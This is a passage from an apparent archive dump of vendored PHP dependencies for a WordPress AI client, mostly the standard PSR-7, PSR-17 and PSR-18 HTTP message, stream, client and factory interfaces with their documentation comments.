     * @throws RealNotFoundException
     */
    public static function findResponseFactory()
    {
        try {
            $messageFactory = static::findOneByType(ResponseFactoryInterface::class);
        } catch (DiscoveryFailedException $e) {
            throw self::createException('response factory', $e);
        }
        return static::instantiateClass($messageFactory);
    }
    /**
     * @return ServerRequestFactoryInterface
     *
     * @throws RealNotFoundException
     */
    public static function findServerRequestFactory()
    {
        try {
            $messageFactory = static::findOneByType(ServerRequestFactoryInterface::class);
        } catch (DiscoveryFailedException $e) {
            throw self::createException('server request factory', $e);
        }
        return static::instantiateClass($messageFactory);
    }
    /**
     * @return StreamFactoryInterface
     *
     * @throws RealNotFoundException
     */
    public static function findStreamFactory()
    {
        try {
            $messageFactory = static::findOneByType(StreamFactoryInterface::class);
        } catch (DiscoveryFailedException $e) {
            throw self::createException('stream factory', $e);
        }
        return static::instantiateClass($messageFactory);
    }
    /**
     * @return UploadedFileFactoryInterface
     *
     * @throws RealNotFoundException
     */
    public static function findUploadedFileFactory()
    {
        try {
            $messageFactory = static::findOneByType(UploadedFileFactoryInterface::class);
        } catch (DiscoveryFailedException $e) {
            throw self::createException('uploaded file factory', $e);
        }
        return static::instantiateClass($messageFactory);
    }
    /**
     * @return UriFactoryInterface
     *
     * @throws RealNotFoundException
     */
    public static function findUriFactory()
    {
        try {
            $messageFactory = static::findOneByType(UriFactoryInterface::class);
        } catch (DiscoveryFailedException $e) {
            throw self::createException('url factory', $e);
        }
        return static::instantiateClass($messageFactory);
    }
    /**
     * @return UriFactoryInterface
     *
     * @throws RealNotFoundException
     *
     * @deprecated This will be removed in 2.0. Consider using the findUriFactory() method.
     */
    public static function findUrlFactory()
    {
        return static::findUriFactory();
    }
}
third-party/Psr/Http/Client/ClientInterface.php000064400000001120152205304550015457 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Client;

use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseInterface;
interface ClientInterface
{
    /**
     * Sends a PSR-7 request and returns a PSR-7 response.
     *
     * @param RequestInterface $request
     *
     * @return ResponseInterface
     *
     * @throws \Psr\Http\Client\ClientExceptionInterface If an error happens while processing the request.
     */
    public function sendRequest(RequestInterface $request): ResponseInterface;
}
third-party/Psr/Http/Client/NetworkExceptionInterface.php000064400000001317152205304550017561 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Client;

use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
/**
 * Thrown when the request cannot be completed because of network issues.
 *
 * There is no response object as this exception is thrown when no response has been received.
 *
 * Example: the target host name can not be resolved or the connection failed.
 */
interface NetworkExceptionInterface extends ClientExceptionInterface
{
    /**
     * Returns the request.
     *
     * The request object MAY be a different object from the one passed to ClientInterface::sendRequest()
     *
     * @return RequestInterface
     */
    public function getRequest(): RequestInterface;
}
third-party/Psr/Http/Client/ClientExceptionInterface.php000064400000000312152205304550017340 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Client;

/**
 * Every HTTP client related exception MUST implement this interface.
 */
interface ClientExceptionInterface extends \Throwable
{
}
third-party/Psr/Http/Client/RequestExceptionInterface.php000064400000001207152205304550017556 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Client;

use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
/**
 * Exception for when a request failed.
 *
 * Examples:
 *      - Request is invalid (e.g. method is missing)
 *      - Runtime request errors (e.g. the body stream is not seekable)
 */
interface RequestExceptionInterface extends ClientExceptionInterface
{
    /**
     * Returns the request.
     *
     * The request object MAY be a different object from the one passed to ClientInterface::sendRequest()
     *
     * @return RequestInterface
     */
    public function getRequest(): RequestInterface;
}
third-party/Psr/Http/Message/StreamInterface.php000064400000011416152205304550015653 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Message;

/**
 * Describes a data stream.
 *
 * Typically, an instance will wrap a PHP stream; this interface provides
 * a wrapper around the most common operations, including serialization of
 * the entire stream to a string.
 */
interface StreamInterface
{
    /**
     * Reads all data from the stream into a string, from the beginning to end.
     *
     * This method MUST attempt to seek to the beginning of the stream before
     * reading data and read the stream until the end is reached.
     *
     * Warning: This could attempt to load a large amount of data into memory.
     *
     * This method MUST NOT raise an exception in order to conform with PHP's
     * string casting operations.
     *
     * @see http://php.net/manual/en/language.oop5.magic.php#object.tostring
     * @return string
     */
    public function __toString(): string;
    /**
     * Closes the stream and any underlying resources.
     *
     * @return void
     */
    public function close(): void;
    /**
     * Separates any underlying resources from the stream.
     *
     * After the stream has been detached, the stream is in an unusable state.
     *
     * @return resource|null Underlying PHP stream, if any
     */
    public function detach();
    /**
     * Get the size of the stream if known.
     *
     * @return int|null Returns the size in bytes if known, or null if unknown.
     */
    public function getSize(): ?int;
    /**
     * Returns the current position of the file read/write pointer
     *
     * @return int Position of the file pointer
     * @throws \RuntimeException on error.
     */
    public function tell(): int;
    /**
     * Returns true if the stream is at the end of the stream.
     *
     * @return bool
     */
    public function eof(): bool;
    /**
     * Returns whether or not the stream is seekable.
     *
     * @return bool
     */
    public function isSeekable(): bool;
    /**
     * Seek to a position in the stream.
     *
     * @link http://www.php.net/manual/en/function.fseek.php
     * @param int $offset Stream offset
     * @param int $whence Specifies how the cursor position will be calculated
     *     based on the seek offset. Valid values are identical to the built-in
     *     PHP $whence values for `fseek()`.  SEEK_SET: Set position equal to
     *     offset bytes SEEK_CUR: Set position to current location plus offset
     *     SEEK_END: Set position to end-of-stream plus offset.
     * @throws \RuntimeException on failure.
     */
    public function seek(int $offset, int $whence = \SEEK_SET): void;
    /**
     * Seek to the beginning of the stream.
     *
     * If the stream is not seekable, this method will raise an exception;
     * otherwise, it will perform a seek(0).
     *
     * @see seek()
     * @link http://www.php.net/manual/en/function.fseek.php
     * @throws \RuntimeException on failure.
     */
    public function rewind(): void;
    /**
     * Returns whether or not the stream is writable.
     *
     * @return bool
     */
    public function isWritable(): bool;
    /**
     * Write data to the stream.
     *
     * @param string $string The string that is to be written.
     * @return int Returns the number of bytes written to the stream.
     * @throws \RuntimeException on failure.
     */
    public function write(string $string): int;
    /**
     * Returns whether or not the stream is readable.
     *
     * @return bool
     */
    public function isReadable(): bool;
    /**
     * Read data from the stream.
     *
     * @param int $length Read up to $length bytes from the object and return
     *     them. Fewer than $length bytes may be returned if underlying stream
     *     call returns fewer bytes.
     * @return string Returns the data read from the stream, or an empty string
     *     if no bytes are available.
     * @throws \RuntimeException if an error occurs.
     */
    public function read(int $length): string;
    /**
     * Returns the remaining contents in a string
     *
     * @return string
     * @throws \RuntimeException if unable to read or an error occurs while
     *     reading.
     */
    public function getContents(): string;
    /**
     * Get stream metadata as an associative array or retrieve a specific key.
     *
     * The keys returned are identical to the keys returned from PHP's
     * stream_get_meta_data() function.
     *
     * @link http://php.net/manual/en/function.stream-get-meta-data.php
     * @param string|null $key Specific metadata to retrieve.
     * @return array|mixed|null Returns an associative array if no key is
     *     provided. Returns a specific key value if a key is provided and the
     *     value is found, or null if the key is not found.
     */
    public function getMetadata(?string $key = null);
}
third-party/Psr/Http/Message/UploadedFileInterface.php000064400000011226152205304550016754 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Message;

/**
 * Value object representing a file uploaded through an HTTP request.
 *
 * Instances of this interface are considered immutable; all methods that
 * might change state MUST be implemented such that they retain the internal
 * state of the current instance and return an instance that contains the
 * changed state.
 */
interface UploadedFileInterface
{
    /**
     * Retrieve a stream representing the uploaded file.
     *
     * This method MUST return a StreamInterface instance, representing the
     * uploaded file. The purpose of this method is to allow utilizing native PHP
     * stream functionality to manipulate the file upload, such as
     * stream_copy_to_stream() (though the result will need to be decorated in a
     * native PHP stream wrapper to work with such functions).
     *
     * If the moveTo() method has been called previously, this method MUST raise
     * an exception.
     *
     * @return StreamInterface Stream representation of the uploaded file.
     * @throws \RuntimeException in cases when no stream is available or can be
     *     created.
     */
    public function getStream(): StreamInterface;
    /**
     * Move the uploaded file to a new location.
     *
     * Use this method as an alternative to move_uploaded_file(). This method is
     * guaranteed to work in both SAPI and non-SAPI environments.
     * Implementations must determine which environment they are in, and use the
     * appropriate method (move_uploaded_file(), rename(), or a stream
     * operation) to perform the operation.
     *
     * $targetPath may be an absolute path, or a relative path. If it is a
     * relative path, resolution should be the same as used by PHP's rename()
     * function.
     *
     * The original file or stream MUST be removed on completion.
     *
     * If this method is called more than once, any subsequent calls MUST raise
     * an exception.
     *
     * When used in an SAPI environment where $_FILES is populated, when writing
     * files via moveTo(), is_uploaded_file() and move_uploaded_file() SHOULD be
     * used to ensure permissions and upload status are verified correctly.
     *
     * If you wish to move to a stream, use getStream(), as SAPI operations
     * cannot guarantee writing to stream destinations.
     *
     * @see http://php.net/is_uploaded_file
     * @see http://php.net/move_uploaded_file
     * @param string $targetPath Path to which to move the uploaded file.
     * @throws \InvalidArgumentException if the $targetPath specified is invalid.
     * @throws \RuntimeException on any error during the move operation, or on
     *     the second or subsequent call to the method.
     */
    public function moveTo(string $targetPath): void;
    /**
     * Retrieve the file size.
     *
     * Implementations SHOULD return the value stored in the "size" key of
     * the file in the $_FILES array if available, as PHP calculates this based
     * on the actual size transmitted.
     *
     * @return int|null The file size in bytes or null if unknown.
     */
    public function getSize(): ?int;
    /**
     * Retrieve the error associated with the uploaded file.
     *
     * The return value MUST be one of PHP's UPLOAD_ERR_XXX constants.
     *
     * If the file was uploaded successfully, this method MUST return
     * UPLOAD_ERR_OK.
     *
     * Implementations SHOULD return the value stored in the "error" key of
     * the file in the $_FILES array.
     *
     * @see http://php.net/manual/en/features.file-upload.errors.php
     * @return int One of PHP's UPLOAD_ERR_XXX constants.
     */
    public function getError(): int;
    /**
     * Retrieve the filename sent by the client.
     *
     * Do not trust the value returned by this method. A client could send
     * a malicious filename with the intention to corrupt or hack your
     * application.
     *
     * Implementations SHOULD return the value stored in the "name" key of
     * the file in the $_FILES array.
     *
     * @return string|null The filename sent by the client or null if none
     *     was provided.
     */
    public function getClientFilename(): ?string;
    /**
     * Retrieve the media type sent by the client.
     *
     * Do not trust the value returned by this method. A client could send
     * a malicious media type with the intention to corrupt or hack your
     * application.
     *
     * Implementations SHOULD return the value stored in the "type" key of
     * the file in the $_FILES array.
     *
     * @return string|null The media type sent by the client or null if none
     *     was provided.
     */
    public function getClientMediaType(): ?string;
}
third-party/Psr/Http/Message/ResponseInterface.php000064400000005147152205304550016222 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Message;

/**
 * Representation of an outgoing, server-side response.
 *
 * Per the HTTP specification, this interface includes properties for
 * each of the following:
 *
 * - Protocol version
 * - Status code and reason phrase
 * - Headers
 * - Message body
 *
 * Responses are considered immutable; all methods that might change state MUST
 * be implemented such that they retain the internal state of the current
 * message and return an instance that contains the changed state.
 */
interface ResponseInterface extends MessageInterface
{
    /**
     * Gets the response status code.
     *
     * The status code is a 3-digit integer result code of the server's attempt
     * to understand and satisfy the request.
     *
     * @return int Status code.
     */
    public function getStatusCode(): int;
    /**
     * Return an instance with the specified status code and, optionally, reason phrase.
     *
     * If no reason phrase is specified, implementations MAY choose to default
     * to the RFC 7231 or IANA recommended reason phrase for the response's
     * status code.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated status and reason phrase.
     *
     * @link http://tools.ietf.org/html/rfc7231#section-6
     * @link http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
     * @param int $code The 3-digit integer result code to set.
     * @param string $reasonPhrase The reason phrase to use with the
     *     provided status code; if none is provided, implementations MAY
     *     use the defaults as suggested in the HTTP specification.
     * @return static
     * @throws \InvalidArgumentException For invalid status code arguments.
     */
    public function withStatus(int $code, string $reasonPhrase = ''): ResponseInterface;
    /**
     * Gets the response reason phrase associated with the status code.
     *
     * Because a reason phrase is not a required element in a response
     * status line, the reason phrase value MAY be null. Implementations MAY
     * choose to return the default RFC 7231 recommended reason phrase (or those
     * listed in the IANA HTTP Status Code Registry) for the response's
     * status code.
     *
     * @link http://tools.ietf.org/html/rfc7231#section-6
     * @link http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
     * @return string Reason phrase; must return an empty string if none present.
     */
    public function getReasonPhrase(): string;
}
third-party/Psr/Http/Message/MessageInterface.php000064400000015723152205304550016011 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Message;

/**
 * HTTP messages consist of requests from a client to a server and responses
 * from a server to a client. This interface defines the methods common to
 * each.
 *
 * Messages are considered immutable; all methods that might change state MUST
 * be implemented such that they retain the internal state of the current
 * message and return an instance that contains the changed state.
 *
 * @link http://www.ietf.org/rfc/rfc7230.txt
 * @link http://www.ietf.org/rfc/rfc7231.txt
 */
interface MessageInterface
{
    /**
     * Retrieves the HTTP protocol version as a string.
     *
     * The string MUST contain only the HTTP version number (e.g., "1.1", "1.0").
     *
     * @return string HTTP protocol version.
     */
    public function getProtocolVersion(): string;
    /**
     * Return an instance with the specified HTTP protocol version.
     *
     * The version string MUST contain only the HTTP version number (e.g.,
     * "1.1", "1.0").
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * new protocol version.
     *
     * @param string $version HTTP protocol version
     * @return static
     */
    public function withProtocolVersion(string $version): MessageInterface;
    /**
     * Retrieves all message header values.
     *
     * The keys represent the header name as it will be sent over the wire, and
     * each value is an array of strings associated with the header.
     *
     *     // Represent the headers as a string
     *     foreach ($message->getHeaders() as $name => $values) {
     *         echo $name . ": " . implode(", ", $values);
     *     }
     *
     *     // Emit headers iteratively:
     *     foreach ($message->getHeaders() as $name => $values) {
     *         foreach ($values as $value) {
     *             header(sprintf('%s: %s', $name, $value), false);
     *         }
     *     }
     *
     * While header names are not case-sensitive, getHeaders() will preserve the
     * exact case in which headers were originally specified.
     *
     * @return string[][] Returns an associative array of the message's headers. Each
     *     key MUST be a header name, and each value MUST be an array of strings
     *     for that header.
     */
    public function getHeaders(): array;
    /**
     * Checks if a header exists by the given case-insensitive name.
     *
     * @param string $name Case-insensitive header field name.
     * @return bool Returns true if any header names match the given header
     *     name using a case-insensitive string comparison. Returns false if
     *     no matching header name is found in the message.
     */
    public function hasHeader(string $name): bool;
    /**
     * Retrieves a message header value by the given case-insensitive name.
     *
     * This method returns an array of all the header values of the given
     * case-insensitive header name.
     *
     * If the header does not appear in the message, this method MUST return an
     * empty array.
     *
     * @param string $name Case-insensitive header field name.
     * @return string[] An array of string values as provided for the given
     *    header. If the header does not appear in the message, this method MUST
     *    return an empty array.
     */
    public function getHeader(string $name): array;
    /**
     * Retrieves a comma-separated string of the values for a single header.
     *
     * This method returns all of the header values of the given
     * case-insensitive header name as a string concatenated together using
     * a comma.
     *
     * NOTE: Not all header values may be appropriately represented using
     * comma concatenation. For such headers, use getHeader() instead
     * and supply your own delimiter when concatenating.
     *
     * If the header does not appear in the message, this method MUST return
     * an empty string.
     *
     * @param string $name Case-insensitive header field name.
     * @return string A string of values as provided for the given header
     *    concatenated together using a comma. If the header does not appear in
     *    the message, this method MUST return an empty string.
     */
    public function getHeaderLine(string $name): string;
    /**
     * Return an instance with the provided value replacing the specified header.
     *
     * While header names are case-insensitive, the casing of the header will
     * be preserved by this function, and returned from getHeaders().
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * new and/or updated header and value.
     *
     * @param string $name Case-insensitive header field name.
     * @param string|string[] $value Header value(s).
     * @return static
     * @throws \InvalidArgumentException for invalid header names or values.
     */
    public function withHeader(string $name, $value): MessageInterface;
    /**
     * Return an instance with the specified header appended with the given value.
     *
     * Existing values for the specified header will be maintained. The new
     * value(s) will be appended to the existing list. If the header did not
     * exist previously, it will be added.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * new header and/or value.
     *
     * @param string $name Case-insensitive header field name to add.
     * @param string|string[] $value Header value(s).
     * @return static
     * @throws \InvalidArgumentException for invalid header names or values.
     */
    public function withAddedHeader(string $name, $value): MessageInterface;
    /**
     * Return an instance without the specified header.
     *
     * Header resolution MUST be done without case-sensitivity.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that removes
     * the named header.
     *
     * @param string $name Case-insensitive header field name to remove.
     * @return static
     */
    public function withoutHeader(string $name): MessageInterface;
    /**
     * Gets the body of the message.
     *
     * @return StreamInterface Returns the body as a stream.
     */
    public function getBody(): StreamInterface;
    /**
     * Return an instance with the specified message body.
     *
     * The body MUST be a StreamInterface object.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return a new instance that has the
     * new body stream.
     *
     * @param StreamInterface $body Body.
     * @return static
     * @throws \InvalidArgumentException When the body is not valid.
     */
    public function withBody(StreamInterface $body): MessageInterface;
}
third-party/Psr/Http/Message/RequestInterface.php000064400000011521152205304550016045 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Message;

/**
 * Representation of an outgoing, client-side request.
 *
 * Per the HTTP specification, this interface includes properties for
 * each of the following:
 *
 * - Protocol version
 * - HTTP method
 * - URI
 * - Headers
 * - Message body
 *
 * During construction, implementations MUST attempt to set the Host header from
 * a provided URI if no Host header is provided.
 *
 * Requests are considered immutable; all methods that might change state MUST
 * be implemented such that they retain the internal state of the current
 * message and return an instance that contains the changed state.
 */
interface RequestInterface extends MessageInterface
{
    /**
     * Retrieves the message's request target.
     *
     * Retrieves the message's request-target either as it will appear (for
     * clients), as it appeared at request (for servers), or as it was
     * specified for the instance (see withRequestTarget()).
     *
     * In most cases, this will be the origin-form of the composed URI,
     * unless a value was provided to the concrete implementation (see
     * withRequestTarget() below).
     *
     * If no URI is available, and no request-target has been specifically
     * provided, this method MUST return the string "/".
     *
     * @return string
     */
    public function getRequestTarget(): string;
    /**
     * Return an instance with the specific request-target.
     *
     * If the request needs a non-origin-form request-target — e.g., for
     * specifying an absolute-form, authority-form, or asterisk-form —
     * this method may be used to create an instance with the specified
     * request-target, verbatim.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * changed request target.
     *
     * @link http://tools.ietf.org/html/rfc7230#section-5.3 (for the various
     *     request-target forms allowed in request messages)
     * @param string $requestTarget
     * @return static
     */
    public function withRequestTarget(string $requestTarget): RequestInterface;
    /**
     * Retrieves the HTTP method of the request.
     *
     * @return string Returns the request method.
     */
    public function getMethod(): string;
    /**
     * Return an instance with the provided HTTP method.
     *
     * While HTTP method names are typically all uppercase characters, HTTP
     * method names are case-sensitive and thus implementations SHOULD NOT
     * modify the given string.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * changed request method.
     *
     * @param string $method Case-sensitive method.
     * @return static
     * @throws \InvalidArgumentException for invalid HTTP methods.
     */
    public function withMethod(string $method): RequestInterface;
    /**
     * Retrieves the URI instance.
     *
     * This method MUST return a UriInterface instance.
     *
     * @link http://tools.ietf.org/html/rfc3986#section-4.3
     * @return UriInterface Returns a UriInterface instance
     *     representing the URI of the request.
     */
    public function getUri(): UriInterface;
    /**
     * Returns an instance with the provided URI.
     *
     * This method MUST update the Host header of the returned request by
     * default if the URI contains a host component. If the URI does not
     * contain a host component, any pre-existing Host header MUST be carried
     * over to the returned request.
     *
     * You can opt-in to preserving the original state of the Host header by
     * setting `$preserveHost` to `true`. When `$preserveHost` is set to
     * `true`, this method interacts with the Host header in the following ways:
     *
     * - If the Host header is missing or empty, and the new URI contains
     *   a host component, this method MUST update the Host header in the returned
     *   request.
     * - If the Host header is missing or empty, and the new URI does not contain a
     *   host component, this method MUST NOT update the Host header in the returned
     *   request.
     * - If a Host header is present and non-empty, this method MUST NOT update
     *   the Host header in the returned request.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * new UriInterface instance.
     *
     * @link http://tools.ietf.org/html/rfc3986#section-4.3
     * @param UriInterface $uri New request URI to use.
     * @param bool $preserveHost Preserve the original state of the Host header.
     * @return static
     */
    public function withUri(UriInterface $uri, bool $preserveHost = \false): RequestInterface;
}
third-party/Psr/Http/Message/ServerRequestFactoryInterface.php000064400000001676152205304550020576 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Message;

interface ServerRequestFactoryInterface
{
    /**
     * Create a new server request.
     *
     * Note that server-params are taken precisely as given - no parsing/processing
     * of the given values is performed, and, in particular, no attempt is made to
     * determine the HTTP method or URI, which must be provided explicitly.
     *
     * @param string $method The HTTP method associated with the request.
     * @param UriInterface|string $uri The URI associated with the request. If
     *     the value is a string, the factory MUST create a UriInterface
     *     instance based on it.
     * @param array $serverParams Array of SAPI parameters with which to seed
     *     the generated request instance.
     *
     * @return ServerRequestInterface
     */
    public function createServerRequest(string $method, $uri, array $serverParams = []): ServerRequestInterface;
}
third-party/Psr/Http/Message/StreamFactoryInterface.php000064400000002647152205304550017211 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Message;

interface StreamFactoryInterface
{
    /**
     * Create a new stream from a string.
     *
     * The stream SHOULD be created with a temporary resource.
     *
     * @param string $content String content with which to populate the stream.
     *
     * @return StreamInterface
     */
    public function createStream(string $content = ''): StreamInterface;
    /**
     * Create a stream from an existing file.
     *
     * The file MUST be opened using the given mode, which may be any mode
     * supported by the `fopen` function.
     *
     * The `$filename` MAY be any string supported by `fopen()`.
     *
     * @param string $filename Filename or stream URI to use as basis of stream.
     * @param string $mode Mode with which to open the underlying filename/stream.
     *
     * @return StreamInterface
     * @throws \RuntimeException If the file cannot be opened.
     * @throws \InvalidArgumentException If the mode is invalid.
     */
    public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface;
    /**
     * Create a new stream from an existing resource.
     *
     * The stream MUST be readable and may be writable.
     *
     * @param resource $resource PHP resource to use as basis of stream.
     *
     * @return StreamInterface
     */
    public function createStreamFromResource($resource): StreamInterface;
}
third-party/Psr/Http/Message/ResponseFactoryInterface.php000064400000001101152205304550017534 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Message;

interface ResponseFactoryInterface
{
    /**
     * Create a new response.
     *
     * @param int $code HTTP status code; defaults to 200
     * @param string $reasonPhrase Reason phrase to associate with status code
     *     in generated response; if none is provided implementations MAY use
     *     the defaults as suggested in the HTTP specification.
     *
     * @return ResponseInterface
     */
    public function createResponse(int $code = 200, string $reasonPhrase = ''): ResponseInterface;
}
third-party/Psr/Http/Message/ServerRequestInterface.php000064400000024115152205304550017237 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Message;

/**
 * Representation of an incoming, server-side HTTP request.
 *
 * Per the HTTP specification, this interface includes properties for
 * each of the following:
 *
 * - Protocol version
 * - HTTP method
 * - URI
 * - Headers
 * - Message body
 *
 * Additionally, it encapsulates all data as it has arrived to the
 * application from the CGI and/or PHP environment, including:
 *
 * - The values represented in $_SERVER.
 * - Any cookies provided (generally via $_COOKIE)
 * - Query string arguments (generally via $_GET, or as parsed via parse_str())
 * - Upload files, if any (as represented by $_FILES)
 * - Deserialized body parameters (generally from $_POST)
 *
 * $_SERVER values MUST be treated as immutable, as they represent application
 * state at the time of request; as such, no methods are provided to allow
 * modification of those values. The other values provide such methods, as they
 * can be restored from $_SERVER or the request body, and may need treatment
 * during the application (e.g., body parameters may be deserialized based on
 * content type).
 *
 * Additionally, this interface recognizes the utility of introspecting a
 * request to derive and match additional parameters (e.g., via URI path
 * matching, decrypting cookie values, deserializing non-form-encoded body
 * content, matching authorization headers to users, etc). These parameters
 * are stored in an "attributes" property.
 *
 * Requests are considered immutable; all methods that might change state MUST
 * be implemented such that they retain the internal state of the current
 * message and return an instance that contains the changed state.
 */
interface ServerRequestInterface extends RequestInterface
{
    /**
     * Retrieve server parameters.
     *
     * Retrieves data related to the incoming request environment,
     * typically derived from PHP's $_SERVER superglobal. The data IS NOT
     * REQUIRED to originate from $_SERVER.
     *
     * @return array
     */
    public function getServerParams(): array;
    /**
     * Retrieve cookies.
     *
     * Retrieves cookies sent by the client to the server.
     *
     * The data MUST be compatible with the structure of the $_COOKIE
     * superglobal.
     *
     * @return array
     */
    public function getCookieParams(): array;
    /**
     * Return an instance with the specified cookies.
     *
     * The data IS NOT REQUIRED to come from the $_COOKIE superglobal, but MUST
     * be compatible with the structure of $_COOKIE. Typically, this data will
     * be injected at instantiation.
     *
     * This method MUST NOT update the related Cookie header of the request
     * instance, nor related values in the server params.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated cookie values.
     *
     * @param array $cookies Array of key/value pairs representing cookies.
     * @return static
     */
    public function withCookieParams(array $cookies): ServerRequestInterface;
    /**
     * Retrieve query string arguments.
     *
     * Retrieves the deserialized query string arguments, if any.
     *
     * Note: the query params might not be in sync with the URI or server
     * params. If you need to ensure you are only getting the original
     * values, you may need to parse the query string from `getUri()->getQuery()`
     * or from the `QUERY_STRING` server param.
     *
     * @return array
     */
    public function getQueryParams(): array;
    /**
     * Return an instance with the specified query string arguments.
     *
     * These values SHOULD remain immutable over the course of the incoming
     * request. They MAY be injected during instantiation, such as from PHP's
     * $_GET superglobal, or MAY be derived from some other value such as the
     * URI. In cases where the arguments are parsed from the URI, the data
     * MUST be compatible with what PHP's parse_str() would return for
     * purposes of how duplicate query parameters are handled, and how nested
     * sets are handled.
     *
     * Setting query string arguments MUST NOT change the URI stored by the
     * request, nor the values in the server params.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated query string arguments.
     *
     * @param array $query Array of query string arguments, typically from
     *     $_GET.
     * @return static
     */
    public function withQueryParams(array $query): ServerRequestInterface;
    /**
     * Retrieve normalized file upload data.
     *
     * This method returns upload metadata in a normalized tree, with each leaf
     * an instance of Psr\Http\Message\UploadedFileInterface.
     *
     * These values MAY be prepared from $_FILES or the message body during
     * instantiation, or MAY be injected via withUploadedFiles().
     *
     * @return array An array tree of UploadedFileInterface instances; an empty
     *     array MUST be returned if no data is present.
     */
    public function getUploadedFiles(): array;
    /**
     * Create a new instance with the specified uploaded files.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated body parameters.
     *
     * @param array $uploadedFiles An array tree of UploadedFileInterface instances.
     * @return static
     * @throws \InvalidArgumentException if an invalid structure is provided.
     */
    public function withUploadedFiles(array $uploadedFiles): ServerRequestInterface;
    /**
     * Retrieve any parameters provided in the request body.
     *
     * If the request Content-Type is either application/x-www-form-urlencoded
     * or multipart/form-data, and the request method is POST, this method MUST
     * return the contents of $_POST.
     *
     * Otherwise, this method may return any results of deserializing
     * the request body content; as parsing returns structured content, the
     * potential types MUST be arrays or objects only. A null value indicates
     * the absence of body content.
     *
     * @return null|array|object The deserialized body parameters, if any.
     *     These will typically be an array or object.
     */
    public function getParsedBody();
    /**
     * Return an instance with the specified body parameters.
     *
     * These MAY be injected during instantiation.
     *
     * If the request Content-Type is either application/x-www-form-urlencoded
     * or multipart/form-data, and the request method is POST, use this method
     * ONLY to inject the contents of $_POST.
     *
     * The data IS NOT REQUIRED to come from $_POST, but MUST be the results of
     * deserializing the request body content. Deserialization/parsing returns
     * structured data, and, as such, this method ONLY accepts arrays or objects,
     * or a null value if nothing was available to parse.
     *
     * As an example, if content negotiation determines that the request data
     * is a JSON payload, this method could be used to create a request
     * instance with the deserialized parameters.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated body parameters.
     *
     * @param null|array|object $data The deserialized body data. This will
     *     typically be in an array or object.
     * @return static
     * @throws \InvalidArgumentException if an unsupported argument type is
     *     provided.
     */
    public function withParsedBody($data): ServerRequestInterface;
    /**
     * Retrieve attributes derived from the request.
     *
     * The request "attributes" may be used to allow injection of any
     * parameters derived from the request: e.g., the results of path
     * match operations; the results of decrypting cookies; the results of
     * deserializing non-form-encoded message bodies; etc. Attributes
     * will be application and request specific, and CAN be mutable.
     *
     * @return array Attributes derived from the request.
     */
    public function getAttributes(): array;
    /**
     * Retrieve a single derived request attribute.
     *
     * Retrieves a single derived request attribute as described in
     * getAttributes(). If the attribute has not been previously set, returns
     * the default value as provided.
     *
     * This method obviates the need for a hasAttribute() method, as it allows
     * specifying a default value to return if the attribute is not found.
     *
     * @see getAttributes()
     * @param string $name The attribute name.
     * @param mixed $default Default value to return if the attribute does not exist.
     * @return mixed
     */
    public function getAttribute(string $name, $default = null);
    /**
     * Return an instance with the specified derived request attribute.
     *
     * This method allows setting a single derived request attribute as
     * described in getAttributes().
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated attribute.
     *
     * @see getAttributes()
     * @param string $name The attribute name.
     * @param mixed $value The value of the attribute.
     * @return static
     */
    public function withAttribute(string $name, $value): ServerRequestInterface;
    /**
     * Return an instance that removes the specified derived request attribute.
     *
     * This method allows removing a single derived request attribute as
     * described in getAttributes().
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that removes
     * the attribute.
     *
     * @see getAttributes()
     * @param string $name The attribute name.
     * @return static
     */
    public function withoutAttribute(string $name): ServerRequestInterface;
}
third-party/Psr/Http/Message/UploadedFileFactoryInterface.php000064400000002131152205304550020277 0ustar00<?php

namespace WordPress\AiClientDependencies\Psr\Http\Message;

interface UploadedFileFactoryInterface
{
    /**
     * Create a new uploaded file.
     *
     * If a size is not provided it will be determined by checking the size of
     * the file.
     *
     * @see http://php.net/manual/features.file-upload.post-method.php
     * @see http://php.net/manual/features.file-upload.errors.php
     *
     * @param StreamInterface $stream Underlying stream representing the
     *     uploaded file content.
     * @param int|null $size in bytes
     * @param int $error PHP file upload error
     * @param string|null $clientFilename Filename as provided by the client, if any.
     * @param string|null $clientMediaType Media type as provided by the client, if any.
     *
     * @return UploadedFileInterface
     *
